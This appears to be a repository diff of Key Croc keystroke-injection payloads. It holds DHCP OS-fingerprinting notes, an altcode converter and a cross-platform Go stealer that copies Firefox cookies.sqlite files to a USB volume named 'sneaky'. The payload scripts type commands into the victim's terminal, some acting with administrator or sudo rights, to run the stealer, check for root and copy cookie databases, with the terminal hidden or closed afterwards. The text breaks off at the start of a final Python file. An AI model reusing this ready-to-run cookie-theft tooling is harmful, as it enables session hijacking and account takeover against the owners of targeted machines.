|
||||
"^":"40,00,26",
|
||||
"@":"40,00,27",
|
||||
"]":"40,00,2d",
|
||||
"}":"40,00,2e",
|
||||
"COMMAND-CTRL-SHIFT":"40,00,2e",
|
||||
"COMMAND-CTRL":"40,00,2e",
|
||||
"COMMAND-OPTION-SHIFT'":"40,00,2e",
|
||||
"CONTROL-SHIFT-ENTER":"03,00,28"
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,48 @@
|
|||
# OS fingerprinting
|
||||
|
||||
OS detection works by analyzing DHCP discover and request packets via [scapy](https://scapy.net/) in Python. This can be done by looking for characteristic options that are set / requested by the DHCP client (the device where the Key Croc is plugged in). The order of the options matters.
|
||||
|
||||
The provided Python script currently only looks for DHCP Discover and DHCP Request packets. Besides the Vendor ID Class (Option 60) only the existence of specific subsets of options (not their order) of the Parameter Request List (Option 55) can be checked. For support of more options manual decoding and parsing is required.
|
||||
|
||||
For debugging `tcpdump` can be used (`tcpdump -i usb0 port 67 or port 68 -w sniff.pcap`) to sniff and a tool like Wireshark can be used to get a closer look of the packet structure and its available options.
|
||||
|
||||
## Extracted DHCP options
|
||||
|
||||
Some options depend on DHCP packet type (Discover != Request). The Parameter Request List should be the same for all DHCP Discover and DHCP Request packets.
|
||||
|
||||
### Windows 10 (Pro, Build 2004):
|
||||
- Options: 53,61,12,81,60,55,255 (type ?)
|
||||
- 60: MSFT 5.0 (Vendor ID Class, set on DHCP Discover and DHCP Request packets)
|
||||
- 55: 1,3,6,15,31,33,43,44,46,47,119,121,249,252 (Parameter Request List)
|
||||
- Fingerprint: Vendor ID Class
|
||||
|
||||
### Windows 10 (Pro, Build 21H1):
|
||||
- Options: 53,61,50,12,60,55,255 (Discover) / 53,61,50,54,12,81,60,55,255 (Request)
|
||||
- 60: MSFT 5.0 (Vendor ID Class, set on DHCP Discover and DHCP Request packets)
|
||||
- 55: 1,3,6,15,31,33,43,44,46,47,119,121,249,252 (Parameter Request List)
|
||||
- Fingerprint: Vendor ID Class
|
||||
|
||||
### Ubuntu (20.04.1 LTS, 5.4.0-42):
|
||||
- Options: 53,61,55,57,12,255 (type ?)
|
||||
- 55: 1,2,6,12,15,26,28,121,3,33,40,41,42,119,249,252,17 (Parameter Request List)
|
||||
- Fingerprint: **PRL 2,12** (use 17 to differ from 20.04 and 21.04)
|
||||
|
||||
### Ubuntu (21.04, 5.11.0-31):
|
||||
- Options: 53,12,55,255 (Discover) / 53,54,50,12,55,255 (Request)
|
||||
- 55: 1,28,2,3,15,6,119,12,44,47,26,121,42 (Parameter Request List)
|
||||
- Fingerprint: **PRL 2,12**
|
||||
|
||||
### macOS Catalina (10.15.6)
|
||||
- Options: 53,55,57,61,51,12,255 (type ?)
|
||||
- 55: 1,121,3,6,15,119,252,95,44,46 (Parameter Request List)
|
||||
- Fingerprint: **PRL 95** (LDAP, possible that this is only the case on the test system)
|
||||
|
||||
Ubuntu 20.04 and 21.04 share these options exclusively: **PRL 2,28,12,26,42**
|
||||
|
||||
## Additional information
|
||||
More information about the technical details of OS fingerprinting via DHCP packets can be found here:
|
||||
- D. Hull und G. F. Willard III, “Next Generation DHCP Deployments”, 2005. Available: [https://kuscholarworks.ku.edu/bitstream/handle/1808/584/NGDHCP.pdf](https://kuscholarworks.ku.edu/bitstream/handle/1808/584/NGDHCP.pdf).
|
||||
- R. Droms,RFC 2131: Dynamic Host Configuration Protocol, 1997.
|
||||
- S. Alexander und R. Droms, RFC 2132: DHCP Options and BOOTP Vendor Extensions, 1997.
|
||||
- D. LaPorte und E. Kollmann. (). “Using DHCP for Passive OS Identification”, Available: [https://slideplayer.com/slide/2499137/](https://slideplayer.com/slide/2499137/).
|
||||
- O. Bilodeau. (2011). “FingerBank - open DHCP fingerprints database”, Available: [https://www.defcon.org/images/defcon-19/dc-19-presentations/Bilodeau/DEFCON-19-Bilodeau-FingerBank.pdf](https://www.defcon.org/images/defcon-19/dc-19-presentations/Bilodeau/DEFCON-19-Bilodeau-FingerBank.pdf).
|
|
@ -0,0 +1,3 @@
|
|||
GOOS=linux go build -o lin
|
||||
GOOS=darwin go build -o mac
|
||||
GOOS=windows go build -o win.exe
|
|
@ -0,0 +1,63 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/user"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
|
||||
func main() {
|
||||
|
||||
usr, usrErr := user.Current()
|
||||
if usrErr != nil {
|
||||
fmt.Println(usrErr)
|
||||
}
|
||||
|
||||
var file, cmdStart, cmdString string
|
||||
var isUnix bool
|
||||
|
||||
if len(os.Args) > 1 {
|
||||
file = os.Args[1]
|
||||
} else {
|
||||
file = "cookies"
|
||||
}
|
||||
|
||||
switch os := runtime.GOOS; os {
|
||||
case "darwin":
|
||||
fmt.Println("macOS")
|
||||
cmdStart = "zsh"
|
||||
cmdString = "counter=0 && for dir in \"/Users/$(users)/Library/Application Support/Firefox/Profiles/\"* ; do cp -r $dir/" + file + ".sqlite /Volumes/sneaky/" + file + "$counter.sqlite 2>/dev/null ; ((counter=counter+1)) ; done"
|
||||
isUnix = true
|
||||
|
||||
case "linux":
|
||||
fmt.Println("Linux")
|
||||
cmdStart = "bash"
|
||||
path := usr.HomeDir + "/.mozilla/firefox/*/"
|
||||
cmdString = "counter=0 && for dir in " + path + " ; do if [[ $dir != *'Crash'* && $dir != *'Pending'* ]]; then cp -r $dir/" + file + ".sqlite /media/$(users)/sneaky/" + file + "$counter.sqlite 2>/dev/null ; ((counter=counter+1)); fi ; done"
|
||||
isUnix = true
|
||||
|
||||
case "windows":
|
||||
fmt.Println("Windows")
|
||||
cmdStart = "powershell.exe"
|
||||
path := usr.HomeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles"
|
||||
cmdString = "$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'sneaky' } | select -expand name ; $counter = 0 ; Get-ChildItem -Path " + path + " | Foreach-Object { cp (Join-Path $_.FullName '" + file + ".sqlite') $usbPath'" + file + "'$counter'.sqlite' ; $counter++ }"
|
||||
|
||||
default:
|
||||
return
|
||||
}
|
||||
|
||||
cmd := exec.Command("")
|
||||
if isUnix {
|
||||
cmd = exec.Command(cmdStart, "-c", cmdString)
|
||||
} else {
|
||||
cmd = exec.Command(cmdStart, cmdString)
|
||||
}
|
||||
err := cmd.Run()
|
||||
if err != nil {
|
||||
fmt.Printf("cmd.Run() failed with %s\n", err)
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,78 @@
|
|||
#!/bin/bash
|
||||
|
||||
function quackWindows() {
|
||||
|
||||
# open PowerShell via run menu
|
||||
Q GUI r
|
||||
Q DELAY 1000
|
||||
|
||||
# powershell
|
||||
QUACK ALTCODE 112
|
||||
QUACK ALTCODE 111
|
||||
QUACK ALTCODE 119
|
||||
QUACK ALTCODE 101
|
||||
QUACK ALTCODE 114
|
||||
QUACK ALTCODE 115
|
||||
QUACK ALTCODE 104
|
||||
QUACK ALTCODE 101
|
||||
QUACK ALTCODE 108
|
||||
QUACK ALTCODE 108
|
||||
|
||||
Q ENTER
|
||||
Q DELAY 500
|
||||
|
||||
# Set-WinUserLanguageList en-US ; exit
|
||||
QUACK ALTCODE 83
|
||||
QUACK ALTCODE 101
|
||||
QUACK ALTCODE 116
|
||||
QUACK ALTCODE 45
|
||||
QUACK ALTCODE 87
|
||||
QUACK ALTCODE 105
|
||||
QUACK ALTCODE 110
|
||||
QUACK ALTCODE 85
|
||||
QUACK ALTCODE 115
|
||||
QUACK ALTCODE 101
|
||||
QUACK ALTCODE 114
|
||||
QUACK ALTCODE 76
|
||||
QUACK ALTCODE 97
|
||||
QUACK ALTCODE 110
|
||||
QUACK ALTCODE 103
|
||||
QUACK ALTCODE 117
|
||||
QUACK ALTCODE 97
|
||||
QUACK ALTCODE 103
|
||||
QUACK ALTCODE 101
|
||||
QUACK ALTCODE 76
|
||||
QUACK ALTCODE 105
|
||||
QUACK ALTCODE 115
|
||||
QUACK ALTCODE 116
|
||||
QUACK ALTCODE 32
|
||||
QUACK ALTCODE 101
|
||||
QUACK ALTCODE 110
|
||||
QUACK ALTCODE 45
|
||||
QUACK ALTCODE 85
|
||||
QUACK ALTCODE 83
|
||||
QUACK ALTCODE 32
|
||||
QUACK ALTCODE 59
|
||||
QUACK ALTCODE 32
|
||||
QUACK ALTCODE 101
|
||||
QUACK ALTCODE 120
|
||||
QUACK ALTCODE 105
|
||||
QUACK ALTCODE 116
|
||||
|
||||
Q ENTER
|
||||
Q ENTER
|
||||
}
|
||||
|
||||
case $1 in
|
||||
|
||||
Windows)
|
||||
quackWindows
|
||||
;;
|
||||
|
||||
Linux)
|
||||
;;
|
||||
|
||||
Mac)
|
||||
;;
|
||||
|
||||
esac
|
|
@ -0,0 +1,92 @@
|
|||
#!/bin/bash
|
||||
|
||||
function quackWindows() {
|
||||
|
||||
# open PowerShell via run menu
|
||||
Q GUI r
|
||||
Q DELAY 500
|
||||
Q STRING powershell
|
||||
Q ENTER
|
||||
Q DELAY 500
|
||||
|
||||
# get drive path
|
||||
Q STRING '$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq'
|
||||
Q STRING " 'sneaky'"
|
||||
Q STRING ' } | select -expand name'
|
||||
Q ENTER
|
||||
|
||||
# create file on path and sync (clear write cache)
|
||||
Q STRING '[IO.File]::WriteAllLines((Join-Path $usbPath'
|
||||
Q STRING " 'language.txt'), '$DUCKY_LANG') ; Write-VolumeCache"
|
||||
Q STRING ' $usbPath[0]'
|
||||
Q ENTER
|
||||
Q ENTER
|
||||
Q STRING "exit"
|
||||
Q ENTER
|
||||
Q ESCAPE
|
||||
Q ESCAPE
|
||||
}
|
||||
|
||||
function quackLinux() {
|
||||
|
||||
# open terminal via search menu
|
||||
Q GUI
|
||||
Q DELAY 1500
|
||||
Q STRING "ter"
|
||||
|
||||
# needed otherwise console might bug
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
Q DELAY 2000
|
||||
|
||||
# create file on path and sync (clear write cache)
|
||||
Q STRING "echo '$DUCKY_LANG' > /media/"
|
||||
Q STRING '$(users)/sneaky/language.txt && sync'
|
||||
Q ENTER
|
||||
Q DELAY 1000
|
||||
Q ENTER
|
||||
Q STRING "exit"
|
||||
Q ENTER
|
||||
}
|
||||
|
||||
function quackMac() {
|
||||
|
||||
# open mac terminal
|
||||
Q GUI SPACE
|
||||
Q DELAY 3000
|
||||
Q STRING "termi"
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
Q DELAY 3000
|
||||
|
||||
# enable switching buttons via TAB
|
||||
Q CONTROL F7
|
||||
|
||||
# create file on path and sync (clear write cache)
|
||||
Q STRING "echo '$DUCKY_LANG' > /Volumes/sneaky/language.txt && sync"
|
||||
Q ENTER
|
||||
Q DELAY 1000
|
||||
Q TAB
|
||||
Q TAB
|
||||
Q SPACE
|
||||
|
||||
# disable switching buttons via TAB
|
||||
# --> create clean state
|
||||
Q CONTROL F7
|
||||
}
|
||||
|
||||
case $1 in
|
||||
|
||||
Windows)
|
||||
quackWindows
|
||||
;;
|
||||
|
||||
Linux)
|
||||
quackLinux
|
||||
;;
|
||||
|
||||
Mac)
|
||||
quackMac
|
||||
;;
|
||||
|
||||
esac
|
|
@ -0,0 +1,140 @@
|
|||
#!/bin/bash
|
||||
|
||||
cmdArgs='cookies'
|
||||
|
||||
function quackWindows() {
|
||||
|
||||
if [ "$1" = "1" ]
|
||||
then
|
||||
# open powershell with admin rights
|
||||
Q GUI r
|
||||
Q DELAY 500
|
||||
Q STRING powershell
|
||||
Q CONTROL-SHIFT-ENTER
|
||||
Q DELAY 2000
|
||||
Q ALT j
|
||||
Q DELAY 3000
|
||||
else
|
||||
# open normal powershell (non admin)
|
||||
Q GUI r
|
||||
Q DELAY 500
|
||||
Q STRING powershell
|
||||
Q ENTER
|
||||
Q DELAY 500
|
||||
fi
|
||||
|
||||
Q STRING '$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq'
|
||||
Q STRING " 'sneaky'"
|
||||
Q STRING ' } | select -expand name'
|
||||
Q ENTER
|
||||
Q STRING '.(Join-Path $usbPath'
|
||||
Q STRING " 'win.exe')"
|
||||
|
||||
# add cmdargs if set
|
||||
# otherwise skip because
|
||||
# DUCKYSCRIPT has problems with empty vars to type
|
||||
# and will therefore throw an error
|
||||
if [ ! -z $cmdArgs ]
|
||||
then
|
||||
Q STRING " $cmdArgs"
|
||||
fi
|
||||
|
||||
Q STRING ' ; if ($?) {'
|
||||
Q STRING ' [IO.File]::WriteAllLines((Join-Path $usbPath'
|
||||
Q STRING " 'done.txt'), 'done') ; Write-VolumeCache"
|
||||
Q STRING ' $usbPath[0] ; exit}'
|
||||
Q ENTER
|
||||
Q ESCAPE
|
||||
}
|
||||
|
||||
function quackLinux() {
|
||||
|
||||
# open terminal via search menu
|
||||
Q GUI
|
||||
Q DELAY 1500
|
||||
Q STRING "ter"
|
||||
|
||||
# needed otherwise console might bug
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
Q DELAY 2000
|
||||
|
||||
# wrap cmds inside nohup
|
||||
Q STRING 'nohup sh -c "'
|
||||
|
||||
if [ "$1" = "1" ]
|
||||
then
|
||||
# call bin with prepended "sudo" for root rights
|
||||
Q STRING 'sudo /media/$(users)/sneaky/lin'
|
||||
else
|
||||
# call bin without "sudo"
|
||||
Q STRING '/media/$(users)/sneaky/lin'
|
||||
fi
|
||||
|
||||
# add cmdargs if set
|
||||
if [ ! -z $cmdArgs ]
|
||||
then
|
||||
Q STRING " $cmdArgs"
|
||||
fi
|
||||
|
||||
# create file on path and sync (clear write cache)
|
||||
Q STRING " && sync && echo 'done' > /media/"
|
||||
Q STRING '$(users)/sneaky/done.txt && sync'
|
||||
|
||||
# wrap cmds inside nohup
|
||||
Q STRING '" > /dev/null 2>&1 &'
|
||||
Q ENTER
|
||||
|
||||
# close terminal
|
||||
Q DELAY 500
|
||||
Q CONTROL d
|
||||
}
|
||||
|
||||
function quackMac() {
|
||||
|
||||
# open mac terminal
|
||||
Q GUI SPACE
|
||||
Q DELAY 3000
|
||||
Q STRING "termi"
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
Q DELAY 3000
|
||||
|
||||
if [ "$1" = "1" ]
|
||||
then
|
||||
# call bin with prepended "sudo" for root rights
|
||||
Q STRING "sudo /Volumes/sneaky/mac"
|
||||
else
|
||||
# call bin without "sudo"
|
||||
Q STRING "/Volumes/sneaky/mac"
|
||||
fi
|
||||
|
||||
# add cmdargs if set
|
||||
if [ ! -z $cmdArgs ]
|
||||
then
|
||||
Q STRING " $cmdArgs"
|
||||
fi
|
||||
|
||||
# create file on path and sync (clear write cache)
|
||||
Q STRING " && sync && echo 'done' > /Volumes/sneaky/done.txt"
|
||||
Q STRING " && sync && pkill -a Terminal"
|
||||
Q ENTER
|
||||
Q DELAY 500
|
||||
Q GUI q
|
||||
}
|
||||
|
||||
case $1 in
|
||||
|
||||
Windows)
|
||||
quackWindows $2
|
||||
;;
|
||||
|
||||
Linux)
|
||||
quackLinux $2
|
||||
;;
|
||||
|
||||
Mac)
|
||||
quackMac $2
|
||||
;;
|
||||
|
||||
esac
|
|
@ -0,0 +1,83 @@
|
|||
#!/bin/bash
|
||||
|
||||
function quackWindows() {
|
||||
|
||||
Q GUI r
|
||||
Q DELAY 500
|
||||
Q STRING powershell
|
||||
Q CONTROL-SHIFT-ENTER
|
||||
Q DELAY 2000
|
||||
Q ALT j
|
||||
Q DELAY 3000
|
||||
|
||||
Q STRING '$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq'
|
||||
Q STRING " 'sneaky'"
|
||||
Q STRING ' } | select -expand name'
|
||||
Q ENTER
|
||||
Q STRING '[IO.File]::WriteAllLines((Join-Path $usbPath'
|
||||
Q STRING " 'root.txt'), 'root') ; Write-VolumeCache"
|
||||
Q STRING ' $usbPath[0]'
|
||||
Q ENTER
|
||||
Q ENTER
|
||||
Q STRING "exit"
|
||||
Q ENTER
|
||||
Q ESCAPE
|
||||
Q ESCAPE
|
||||
}
|
||||
|
||||
function quackLinux() {
|
||||
|
||||
# open terminal via search menu
|
||||
Q GUI
|
||||
Q DELAY 1500
|
||||
Q STRING "ter"
|
||||
# needed otherwise console might bug
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
Q DELAY 2000
|
||||
|
||||
# create file on path and sync (clear write cache)
|
||||
Q STRING 'if [ $(sudo id -u) -eq 0 ];'
|
||||
Q STRING " then echo 'root' > /media/"
|
||||
Q STRING '$(users)/sneaky/root.txt && sync ; fi'
|
||||
Q ENTER
|
||||
Q DELAY 1500
|
||||
Q CONTROL d
|
||||
Q CONTROL d
|
||||
}
|
||||
|
||||
function quackMac() {
|
||||
|
||||
# open mac terminal
|
||||
Q GUI SPACE
|
||||
Q DELAY 3000
|
||||
Q STRING "termi"
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
Q DELAY 3000
|
||||
|
||||
# create file on path and sync (clear write cache)
|
||||
Q STRING 'if [ $(sudo id -u) -eq 0 ];'
|
||||
Q STRING " then echo 'root' > /Volumes/sneaky/root.txt && sync ; fi"
|
||||
Q ENTER
|
||||
Q DELAY 500
|
||||
Q CONTROL d
|
||||
Q DELAY 500
|
||||
Q GUI q
|
||||
}
|
||||
|
||||
case $1 in
|
||||
|
||||
Windows)
|
||||
quackWindows
|
||||
;;
|
||||
|
||||
Linux)
|
||||
quackLinux
|
||||
;;
|
||||
|
||||
Mac)
|
||||
quackMac
|
||||
;;
|
||||
|
||||
esac
|
|
@ -0,0 +1,91 @@
|
|||
#!/bin/bash
|
||||
|
||||
function quackWindows() {
|
||||
|
||||
# open normal powershell (non admin)
|
||||
Q GUI r
|
||||
Q DELAY 500
|
||||
Q STRING powershell
|
||||
Q ENTER
|
||||
Q DELAY 500
|
||||
|
||||
# get drive
|
||||
Q STRING '$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq'
|
||||
Q STRING " 'sneaky'"
|
||||
Q STRING ' } | select -expand name'
|
||||
Q ENTER
|
||||
|
||||
# copy all firefox cookies DBs
|
||||
Q STRING '$counter = 0 ; Get-ChildItem -Path .\AppData\Roaming\Mozilla\Firefox\Profiles\ | Foreach-Object { cp (Join-Path $_.FullName'
|
||||
Q STRING " 'cookies.sqlite')"
|
||||
Q STRING ' $usbPath'
|
||||
Q STRING "'cookies'"
|
||||
Q STRING '$counter'
|
||||
Q STRING "'.sqlite' ;"
|
||||
Q STRING ' $counter++ }'
|
||||
|
||||
# write done file
|
||||
Q STRING ' ; if ($?) {'
|
||||
Q STRING ' [IO.File]::WriteAllLines((Join-Path $usbPath'
|
||||
Q STRING " 'done.txt'), 'done') ; Write-VolumeCache"
|
||||
Q STRING ' $usbPath[0] ; exit}'
|
||||
Q ENTER
|
||||
Q ESCAPE
|
||||
Q ESCAPE
|
||||
}
|
||||
|
||||
function quackLinux() {
|
||||
|
||||
# open terminal via search menu
|
||||
Q GUI
|
||||
Q DELAY 1500
|
||||
Q STRING "ter"
|
||||
# needed otherwise console might bug
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
Q DELAY 2000
|
||||
|
||||
# copy all firefox DBs and write done file
|
||||
Q STRING "counter=0 && for dir in ~/.mozilla/firefox/*/ ; do if [["
|
||||
Q STRING ' $dir != *'
|
||||
Q STRING "'Crash'* &&"
|
||||
Q STRING ' $dir !='
|
||||
Q STRING " *'Pending'* ]]; then cp -r"
|
||||
Q STRING ' $dir/cookies.sqlite /media/$(users)/sneaky/cookies$counter.sqlite 2>/dev/null ; ((counter=counter+1)); fi ; done && echo'
|
||||
Q STRING " 'done' > /media/"
|
||||
Q STRING '$(users)/sneaky/done.txt && sync && exit'
|
||||
Q ENTER
|
||||
}
|
||||
|
||||
function quackMac() {
|
||||
|
||||
# open mac terminal
|
||||
Q GUI SPACE
|
||||
Q DELAY 3000
|
||||
Q STRING "termi"
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
Q DELAY 3000
|
||||
|
||||
# copy all firefox DBs and write done file
|
||||
Q STRING "counter=0 && for dir in"
|
||||
Q STRING ' "/Users/$(users)/Library/Application Support/Firefox/Profiles/\"* ; do cp -r $dir/cookies.sqlite /Volumes/sneaky/cookies$counter.sqlite 2>/dev/null ; ((counter=counter+1)) ; done && echo'
|
||||
Q STRING " 'done' > /Volumes/sneaky/cookies.txt && sync && pkill -a Terminal"
|
||||
Q ENTER
|
||||
}
|
||||
|
||||
case $1 in
|
||||
|
||||
Windows)
|
||||
quackWindows
|
||||
;;
|
||||
|
||||
Linux)
|
||||
quackLinux
|
||||
;;
|
||||
|
||||
Mac)
|
||||
quackMac
|
||||
;;
|
||||
|
||||
esac
|
|
@ -0,0 +1,94 @@
|
|||
#!/bin/bash
|
||||
|
||||
function quackWindows() {
|
||||
|
||||
# open normal powershell (non admin)
|
||||
Q GUI r
|
||||
Q DELAY 500
|
||||
Q STRING powershell
|
||||
Q ENTER
|
||||
Q DELAY 500
|
||||
|
||||
# get drive
|
||||
# provides helpful variable that can be used to write data to the UMS
|
||||
Q STRING '$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq'
|
||||
Q STRING " 'sneaky'"
|
||||
Q STRING ' } | select -expand name'
|
||||
Q ENTER
|
||||
|
||||
############################
|
||||
# ADD YOUR COMMANDS HERE
|
||||
############################
|
||||
|
||||
# write done file and clear write cache
|
||||
# done file is only needed if set inside the pyload.sh
|
||||
# e.g. for this case doneFile is set to "done.txt"
|
||||
# and therefore the file will be created
|
||||
Q STRING '[IO.File]::WriteAllLines((Join-Path $usbPath'
|
||||
Q STRING " 'done.txt'), 'done') ; Write-VolumeCache"
|
||||
Q STRING ' $usbPath[0] ; exit'
|
||||
Q ENTER
|
||||
}
|
||||
|
||||
function quackLinux() {
|
||||
|
||||
# open terminal via search menu
|
||||
Q GUI
|
||||
Q DELAY 1500
|
||||
Q STRING "ter"
|
||||
# needed otherwise console might bug
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
Q DELAY 2000
|
||||
|
||||
############################
|
||||
# ADD YOUR COMMANDS HERE
|
||||
############################
|
||||
|
||||
# write done file and clear write cache
|
||||
# done file is only needed if set inside the pyload.sh
|
||||
# e.g. for this case doneFile is set to "done.txt"
|
||||
# and therefore the file will be created
|
||||
Q STRING "echo 'done' > /media/"
|
||||
Q STRING '$(users)/sneaky/done.txt && sync && exit'
|
||||
Q ENTER
|
||||
}
|
||||
|
||||
function quackMac() {
|
||||
|
||||
# open mac terminal
|
||||
Q GUI SPACE
|
||||
Q DELAY 3000
|
||||
Q STRING "termi"
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
Q DELAY 3000
|
||||
|
||||
############################
|
||||
# ADD YOUR COMMANDS HERE
|
||||
############################
|
||||
|
||||
# write done file and clear write cache
|
||||
# done file is only needed if set inside the pyload.sh
|
||||
# e.g. for this case doneFile is set to "done.txt"
|
||||
# and therefore the file will be created
|
||||
Q STRING "echo 'done' > /Volumes/sneaky/done.txt"
|
||||
Q STRING " && sync && pkill -a Terminal"
|
||||
Q ENTER
|
||||
}
|
||||
|
||||
case $1 in
|
||||
|
||||
Windows)
|
||||
quackWindows
|
||||
;;
|
||||
|
||||
Linux)
|
||||
quackLinux
|
||||
;;
|
||||
|
||||
Mac)
|
||||
quackMac
|
||||
;;
|
||||
|
||||
esac
|
|
@ -0,0 +1,218 @@
|
|||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
|
||||
# TODO: add rest + check if all are there
|
||||
# dict of codes
|
||||
# ingored:
|
||||
#- unnecessary?: 128-255 and 0202-0255
|
||||
#- duplicates: 0160, 0173, 0130
|
||||
code_table = {
|
||||
'☺' : '1',
|
||||
'☻' : '2',
|
||||
'♥' : '3',
|
||||
'♦' : '4',
|
||||
'♣' : '5',
|
||||
'♠' : '6',
|
||||
'•' : '7' ,
|
||||
'◘' : '8' ,
|
||||
'○' : '9' ,
|
||||
'◙' : '10',
|
||||
'♂' : '11',
|
||||
'♀' : '12',
|
||||
'♪' : '13',
|
||||
'♫' : '14',
|
||||
'☼' : '15',
|
||||
'►' : '16',
|
||||
'◄' : '17',
|
||||
'↕' : '18',
|
||||
'‼' : '19',
|
||||
'¶' : '20',
|
||||
'§' : '21',
|
||||
'▬' : '22',
|
||||
'↨' : '23',
|
||||
'↑' : '24',
|
||||
'↓' : '25',
|
||||
'→' : '26',
|
||||
'←' : '27',
|
||||
'∟' : '28',
|
||||
'↔' : '29',
|
||||
'▲' : '30',
|
||||
'▼' : '31',
|
||||
' ' : '32',
|
||||
'!' : '33',
|
||||
'"' : '34',
|
||||
'#' : '35',
|
||||
'$' : '36',
|
||||
'%' : '37',
|
||||
'&' : '38',
|
||||
'\'' : '39',
|
||||
'(' : '40',
|
||||
')' : '41',
|
||||
'*' : '42',
|
||||
'+' : '43',
|
||||
',' : '44',
|
||||
'-' : '45',
|
||||
'.' : '46',
|
||||
'/' : '47',
|
||||
'0' : '48',
|
||||
'1' : '49',
|
||||
'2' : '50',
|
||||
'3' : '51',
|
||||
'4' : '52',
|
||||
'5' : '53',
|
||||
'6' : '54',
|
||||
'7' : '55',
|
||||
'8' : '56',
|
||||
'9' : '57',
|
||||
':' : '58',
|
||||
';' : '59',
|
||||
'<' : '60',
|
||||
'=' : '61',
|
||||
'>' : '62',
|
||||
'?' : '63',
|
||||
'@' : '64',
|
||||
'A' : '65',
|
||||
'B' : '66',
|
||||
'C' : '67',
|
||||
'D' : '68',
|
||||
'E' : '69',
|
||||
'F' : '70',
|
||||
'G' : '71',
|
||||
'H' : '72',
|
||||
'I' : '73',
|
||||
'J' : '74',
|
||||
'K' : '75',
|
||||
'L' : '76',
|
||||
'M' : '77',
|
||||
'N' : '78',
|
||||
'O' : '79',
|
||||
'P' : '80',
|
||||
'Q' : '81',
|
||||
'R' : '82',
|
||||
'S' : '83',
|
||||
'T' : '84',
|
||||
'U' : '85',
|
||||
'V' : '86',
|
||||
'W' : '87',
|
||||
'X' : '88',
|
||||
'Y' : '89',
|
||||
'Z' : '90',
|
||||
'[' : '91',
|
||||
'\\': '92',
|
||||
']' : '93',
|
||||
'^' : '94',
|
||||
'_' : '95',
|
||||
'`' : '96',
|
||||
'a' : '97',
|
||||
'b' : '98',
|
||||
'c' : '99',
|
||||
'd' : '100',
|
||||
'e' : '101',
|
||||
'f' : '102',
|
||||
'g' : '103',
|
||||
'h' : '104',
|
||||
'i' : '105',
|
||||
'j' : '106',
|
||||
'k' : '107',
|
||||
'l' : '108',
|
||||
'm' : '109',
|
||||
'n' : '110',
|
||||
'o' : '111',
|
||||
'p' : '112',
|
||||
'q' : '113',
|
||||
'r' : '114',
|
||||
's' : '115',
|
||||
't' : '116',
|
||||
'u' : '117',
|
||||
'v' : '118',
|
||||
'w' : '119',
|
||||
'x' : '120',
|
||||
'y' : '121',
|
||||
'z' : '122',
|
||||
'{' : '123',
|
||||
'|' : '124',
|
||||
'}' : '125',
|
||||
'~' : '126',
|
||||
'Δ' : '127',
|
||||
'€' : '0128',
|
||||
'ƒ' : '0131',
|
||||
'„' : '0132',
|
||||
'…' : '0133',
|
||||
'†' : '0134',
|
||||
'‡' : '0135',
|
||||
'ˆ' : '0136',
|
||||
'‰' : '0137',
|
||||
'Š' : '0138',
|
||||
'‹' : '0139',
|
||||
'Œ' : '0140',
|
||||
'Ž' : '0142',
|
||||
'‘' : '0145',
|
||||
'’' : '0146',
|
||||
'“' : '0147',
|
||||
'”' : '0148',
|
||||
'•' : '0149',
|
||||
'–' : '0150',
|
||||
'—' : '0151',
|
||||
'˜' : '0152',
|
||||
'™' : '0153',
|
||||
'š' : '0154',
|
||||
'›' : '0155',
|
||||
'œ' : '0156',
|
||||
'ž' : '0158',
|
||||
'Ÿ' : '0159',
|
||||
'¡' : '0161',
|
||||
'¢' : '0162',
|
||||
'£' : '0163',
|
||||
'¤' : '0164',
|
||||
'¥' : '0165',
|
||||
'¦' : '0166',
|
||||
'§' : '0167',
|
||||
'¨' : '0168',
|
||||
'©' : '0169',
|
||||
'ª' : '0170',
|
||||
'«' : '0171',
|
||||
'¬' : '0172',
|
||||
'®' : '0174',
|
||||
'¯' : '0175',
|
||||
'°' : '0176',
|
||||
'±' : '0177',
|
||||
'²' : '0178',
|
||||
'³' : '0179',
|
||||
'´' : '0180',
|
||||
'µ' : '0181',
|
||||
'¶' : '0182',
|
||||
'·' : '0183',
|
||||
'¸' : '0184',
|
||||
'¹' : '0185',
|
||||
'º' : '0186',
|
||||
'»' : '0187',
|
||||
'¼' : '0188',
|
||||
'½' : '0189',
|
||||
'¾' : '0190',
|
||||
'¿' : '0191',
|
||||
'À' : '0192',
|
||||
'Á' : '0193',
|
||||
'Â' : '0194',
|
||||
'Ã' : '0195',
|
||||
'Ä' : '0196',
|
||||
'Å' : '0197',
|
||||
'Æ' : '0198',
|
||||
'Ç' : '0199',
|
||||
'È' : '0200',
|
||||
'É' : '0201',
|
||||
'Ê' : '0202',
|
||||
}
|
||||
|
||||
parser = argparse.ArgumentParser(prog='altcon', description='Convert a string to a sequence of altcodes')
|
||||
parser.add_argument("string", help="convert the string to alt codes and return codes as list")
|
||||
parser.add_argument("-d", "--ducky", help="export alt codes to Ducky Script 2.0 compatible commands", action="store_true")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("Input:", args.string)
|
||||
codes = [code_table[char] for char in args.string]
|
||||
print("Alt codes:", codes)
|
||||
|
||||
if args.ducky:
|
||||
print("\n** Copy from here for Ducky Script **")
|
||||
for code in codes:
|
||||
print("QUACK ALTCODE", code)
|
|
@ -0,0 +1,131 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
from scapy.sendrecv import sniff
